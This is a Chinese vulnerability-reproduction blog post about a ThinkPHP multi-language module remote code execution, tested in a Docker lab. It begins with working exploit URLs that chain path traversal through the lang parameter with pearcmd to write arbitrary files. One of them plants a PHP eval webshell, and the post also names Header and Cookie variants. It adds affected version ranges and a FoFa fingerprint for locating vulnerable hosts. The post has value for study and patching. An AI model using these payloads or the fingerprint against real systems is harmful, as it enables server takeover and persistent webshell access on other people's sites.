【漏洞复现】ThinkPHP 多语言模块RCE

admin 2022年12月10日21:30:37评论627 views字数 1731阅读5分46秒阅读模式

免责声明

公众号仅用于技术交流与学习,利用本公众号所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,本公众号只是知识的搬运工,取之于民用之于民。

【漏洞复现】ThinkPHP 多语言模块RCE

Exp

# 写文件http://172.17.0.2/public/index.php?lang=../../../../../../../../usr/local/lib/php/pearcmd&+config-create+/&/<?=phpinfo()?>+/tmp/hello.php# 包含文件http://172.17.0.2/public/index.php?lang=../../../../../../../../tmp/hello# 直接写一句话?lang=../../../../../../../../usr/local/lib/php/pearcmd&+config-create+/<?=@eval($_REQUEST['ant']);?>+/var/www/html/ant.php# Header和Cookie方式在文中
漏洞简介
如果 Thinkphp 程序开启了多语言功能,攻击者可以通过 get、header、cookie 等位置传入参数,实现目录穿越+文件包含,通过 pearcmd 文件包含这个 trick 即可实现 RCE。
影响范围
v6.0.1 < Thinkphp < v6.0.13Thinkphp v5.0.xThinkphp v5.1.x
FoFa指纹
header="think_lang"
复现过程
关于Exp,网上爆出的是:
/index.php?s=index/index/index/think_lang/../../extend/pearcmd/pearcmd/index&cmd=whoami/public/index?lang=../../../../../../../Applications/MAMP/bin/php/php5.6.40/lib/php/pearcmd&+config-create+/&/<?=phpinfo()?>+/tmp/hello.php
但是我尝试N遍都没成功,然后查看漏洞分析文章和pearcmd技巧:
https://tttang.com/archive/186https://nosec.org/home/detail/5050.htmhttps://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp
同时本地部署漏洞环境:
docker pull vulfocus/thinkphp:6.0.12
查看文件漏洞环境文件系统发现pearcmd路径是:/usr/local/lib/php/,如图:

【漏洞复现】ThinkPHP 多语言模块RCE

测试发现使用第二个Exp,当“../”为6个的时候可以成功写入,如图:

【漏洞复现】ThinkPHP 多语言模块RCE

后来再次尝试就无法写入了。通过尝试增加“../”数量,发现8个“../”时又成功了。并且可以一直成功。细心的小伙伴可能会发现写入的php代码特殊字符被url编码了,通过Burp抓包然后进行url解码即可,如图:

【漏洞复现】ThinkPHP 多语言模块RCE

【漏洞复现】ThinkPHP 多语言模块RCE

然后包含文件即可执行代码,如图:

【漏洞复现】ThinkPHP 多语言模块RCE

从凌晨一点肝到三点,熬不住了就先睡了。醒来后对Exp进行改进,既然可以写任意文件,那就直接写一句话木马,如图:

【漏洞复现】ThinkPHP 多语言模块RCE

查看漏洞环境中的文件,成功写入,如图:

【漏洞复现】ThinkPHP 多语言模块RCE

然后执行代码,如图:

【漏洞复现】ThinkPHP 多语言模块RCE

利用Header写入文件,如图:

【漏洞复现】ThinkPHP 多语言模块RCE

【漏洞复现】ThinkPHP 多语言模块RCE

利用Cookie写入文件,如图:

【漏洞复现】ThinkPHP 多语言模块RCE

【漏洞复现】ThinkPHP 多语言模块RCE

这里主要是利用pearcmd.php这个pecl/pear中的文件。pecl是PHP中用于管理扩展而使用的命令行工具,而pear是pecl依赖的类库。在7.3及以前,pecl/pear是默认安装的;在7.4及以后,需要我们在编译PHP的时候指定--with-pear才会安装。  不过,在Docker任意版本镜像中,pcel/pear都会被默认安装,安装的路径在/usr/local/lib/php。由此看来该漏洞对Docker中运行的启用了多语言模块的ThinkPHP影响较大。

Xray Poc

【漏洞复现】ThinkPHP 多语言模块RCE

公众号回复ThinkPHP获取。

原文始发于微信公众号(Hack All):【漏洞复现】ThinkPHP 多语言模块RCE

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年12月10日21:30:37
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   【漏洞复现】ThinkPHP 多语言模块RCEhttp://cn-sec.com/archives/1456446.html

发表评论

匿名网友 填写信息